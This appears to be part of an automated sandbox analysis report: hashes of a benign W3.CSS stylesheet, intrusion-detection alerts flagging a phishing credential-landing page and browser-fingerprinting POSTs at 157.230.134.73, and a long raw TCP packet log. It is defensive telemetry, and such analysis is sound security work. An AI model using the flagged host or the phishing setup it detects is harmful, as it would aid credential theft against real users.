SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
Reputation:	low
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T16:04:33.631908+0200	2056643	ET PHISHING Javascript Browser Fingerprinting POST Request	2	192.168.2.4	49736	157.230.134.73	443	TCP
2024-10-24T16:04:34.659793+0200	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.4	49741	157.230.134.73	443	TCP
2024-10-24T16:04:36.016156+0200	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.4	49743	157.230.134.73	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 16:04:30.189724922 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 24, 2024 16:04:31.989670992 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.989715099 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:31.989783049 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.990092039 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.990123987 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:31.990189075 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.990356922 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.990381002 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:31.990612030 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:31.990628958 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.861080885 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.861969948 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.867722034 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.867791891 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.867854118 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.867891073 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.868863106 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.868942022 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.870477915 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.870552063 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.989212036 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.989489079 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:32.989600897 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.989662886 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:32.989694118 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.030067921 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.030132055 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.031728029 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.031776905 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.077613115 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.080482006 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.135745049 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:33.135839939 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:33.135912895 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:33.136131048 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:33.136168003 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:33.540220976 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.540303946 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.540312052 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.540412903 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.540457964 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.540546894 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.541414976 CEST	49737	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.541443110 CEST	443	49737	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.630014896 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.630063057 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.630167961 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.630650997 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.630672932 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.631412983 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.631479025 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.631506920 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.631611109 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.631676912 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.631804943 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.631835938 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.631941080 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.632006884 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.632042885 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.632042885 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.632052898 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.632071018 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.632090092 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.632096052 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:33.632143021 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:33.632152081 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.309648991 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.309988022 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.310077906 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.310584068 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.312933922 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.313035965 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.321811914 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:34.322026968 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:34.322093010 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:34.322984934 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:34.323060036 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:34.324120998 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:34.324192047 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:34.357562065 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.374887943 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:34.374968052 CEST	443	49740	216.58.206.68	192.168.2.4
Oct 24, 2024 16:04:34.427570105 CEST	49740	443	192.168.2.4	216.58.206.68
Oct 24, 2024 16:04:34.467369080 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.467573881 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.467653036 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.468658924 CEST	49736	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.468677998 CEST	443	49736	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.492626905 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.503900051 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:34.503923893 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:34.503984928 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:34.504211903 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:34.504228115 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:34.535372019 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.659837008 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.703939915 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.775197983 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775219917 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775295019 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775356054 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.775367022 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775414944 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.775417089 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775438070 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.775469065 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.775469065 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.775512934 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.776772976 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.776783943 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.776823997 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.776850939 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.776865005 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.776892900 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.776920080 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.890665054 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.890707970 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.890863895 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.890897989 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.891113997 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.891511917 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.891536951 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.891702890 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.891704082 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.891771078 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.891834974 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.892115116 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.892147064 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.892199993 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.892215967 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.892246962 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.892271996 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893248081 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893268108 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893305063 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893326044 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893326044 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893341064 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893393993 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893416882 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893421888 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:34.893479109 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893759012 CEST	49741	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:34.893789053 CEST	443	49741	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.148940086 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.149036884 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.149143934 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.149626970 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.149719000 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.342380047 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.385766029 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.446079969 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.446104050 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.447168112 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.447247982 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.450376034 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.450438023 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.450747967 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.450757027 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.499279976 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.551681042 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:35.551722050 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:35.551825047 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:35.553488016 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:35.553504944 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:35.693552017 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.737127066 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.810070992 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810081959 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810152054 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810188055 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.810199022 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810234070 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810247898 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.810257912 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.810257912 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.810292959 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.813498020 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.813504934 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.813549042 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.813577890 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.813597918 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.813606977 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.813647985 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.813668966 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.840188026 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.840780973 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.840846062 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.841774940 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.841988087 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.842489004 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.842585087 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.842619896 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.887332916 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.893073082 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.893132925 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:35.924628019 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.924665928 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.924705029 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.924720049 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.924738884 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.924762011 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.924840927 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.927221060 CEST	49742	443	192.168.2.4	18.245.31.33
Oct 24, 2024 16:04:35.927233934 CEST	443	49742	18.245.31.33	192.168.2.4
Oct 24, 2024 16:04:35.947657108 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:35.958986998 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:35.959017992 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:35.959090948 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:35.959407091 CEST	49745	443	192.168.2.4	192.229.133.221
Oct 24, 2024 16:04:35.959419012 CEST	443	49745	192.229.133.221	192.168.2.4
Oct 24, 2024 16:04:35.962698936 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:35.962789059 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:35.962877035 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:35.963047981 CEST	49746	443	192.168.2.4	18.245.31.5
Oct 24, 2024 16:04:35.963100910 CEST	443	49746	18.245.31.5	192.168.2.4
Oct 24, 2024 16:04:36.002347946 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.002373934 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.002456903 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.002484083 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.002569914 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.002640963 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.002681017 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.002698898 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.002752066 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.003770113 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.003784895 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.003989935 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.004013062 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.004127026 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.004157066 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.004375935 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.004395008 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.004477978 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.004761934 CEST	49750	443	192.168.2.4	13.107.253.45
Oct 24, 2024 16:04:36.004789114 CEST	443	49750	13.107.253.45	192.168.2.4
Oct 24, 2024 16:04:36.006212950 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:36.006238937 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:36.006297112 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:36.006603956 CEST	49751	443	192.168.2.4	152.199.21.175
Oct 24, 2024 16:04:36.006622076 CEST	443	49751	152.199.21.175	192.168.2.4
Oct 24, 2024 16:04:36.016196966 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.057538033 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.058824062 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.058845997 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.058907986 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.059349060 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.059386969 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.059468031 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.060452938 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 24, 2024 16:04:36.060461998 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 24, 2024 16:04:36.060750961 CEST	49753	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.060780048 CEST	443	49753	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133673906 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133688927 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133734941 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133744001 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.133775949 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133816957 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133842945 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.133872986 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.133872986 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.133872986 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.133872986 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.133914948 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.136723995 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.136733055 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.136760950 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.136811972 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.136830091 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.136857033 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.136898994 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.251650095 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251671076 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251760006 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.251781940 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251804113 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251820087 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251832962 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.251848936 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.251878977 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.251918077 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.253010035 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.253025055 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.253086090 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.253102064 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.253150940 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.257922888 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.257937908 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.257963896 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.257977962 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.257988930 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.258002996 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.258033037 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.258048058 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.258053064 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.258099079 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.258506060 CEST	49743	443	192.168.2.4	157.230.134.73
Oct 24, 2024 16:04:36.258527994 CEST	443	49743	157.230.134.73	192.168.2.4
Oct 24, 2024 16:04:36.410183907 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.410264015 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.414423943 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.414438009 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.414661884 CEST	443	49744	184.28.90.27	192.168.2.4
Oct 24, 2024 16:04:36.459100008 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.477240086 CEST	49744	443	192.168.2.4	184.28.90.27
Oct 24, 2024 16:04:36.519372940 CEST	443	49744	184.28.90.27	192.168.2.4
